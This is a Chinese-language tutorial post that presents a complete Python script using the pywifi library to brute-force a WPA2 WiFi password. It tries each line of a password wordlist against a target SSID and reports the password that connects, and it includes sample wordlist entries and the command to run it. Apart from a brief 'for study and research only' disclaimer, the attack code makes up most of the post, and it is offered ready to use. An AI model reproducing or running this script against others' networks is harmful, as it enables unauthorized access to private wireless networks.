Python破解Wifi密码脚本
使用pywifi 暴力破解wifi密码,就是使用使用多个密码与wifi进行连接测试。总的来说,破解成功的可能性是存在的,但需要付出很多的努力,当然,付出努力也不一定能够破解;因此,这个破解程序脚本仅供学习研究使用。
程序文件名为“d:\TestWifi.py”,内容如下:
import pywifi
from pywifi import const
import time
# 测试连接,返回链接结果
#def wifi_connect(pwd):
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
wireless_network = wifi.interfaces()[0]
# 断开所有连接
wireless_network.disconnect()
# 打开密码本文件
file = open("d:\\1pass00.txt", "r")
wifi_status = wireless_network.status()
if wifi_status == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
wifi_file = pywifi.Profile()
# 要连接WiFi的名称
wifi_file.ssid = "XXXXX"
# 显示正在尝试连接的WiFi的名称
print("正在尝试连接%s..." %wifi_file.ssid)
# 网卡的开放状态
wifi_file.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
wifi_file.cipher = const.CIPHER_TYPE_CCMP
while True:
# 调用密码 wifi_file.key = pwd
wifi_file.key = file.readline()
if not wifi_file.key:
print("密码读取完毕!")
break # 密码读取完毕,则跳出while循环
# 删除所有连接过的wifi文件
wireless_network.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = wireless_network.add_network_profile(wifi_file)
wireless_network.connect(tep_profile)
# wifi连接时间
time.sleep(3)
if wireless_network.status() == const.IFACE_CONNECTED:
print("破解成功!密码: %s" %(wifi_file.key))
break
else:
print("尝试密码: %s 失败" %(wifi_file.key))
else:
print("已有wifi连接")
file.close()
程序中,file = open("d:\\pass00.txt", "r"),打开d盘根目录的文本文件pass00.txt,该文本文件中保存一些可能的密码,用于逐个测试。文件内容的形式如下:
1234qwer
1a2b3c4d
1a2b3c4d5e
a1b2c3d4
a1b2c3d4e5
abcd1234
abcde12345
abcdef1234
在命令行窗口,使用命令
python d:\TestWifi.py
可运行程序。
注意:需要使用python安装pywifi,在Win10中的安装方法可参见
https://blog.csdn.net/Alexabc3000/article/details/106558392/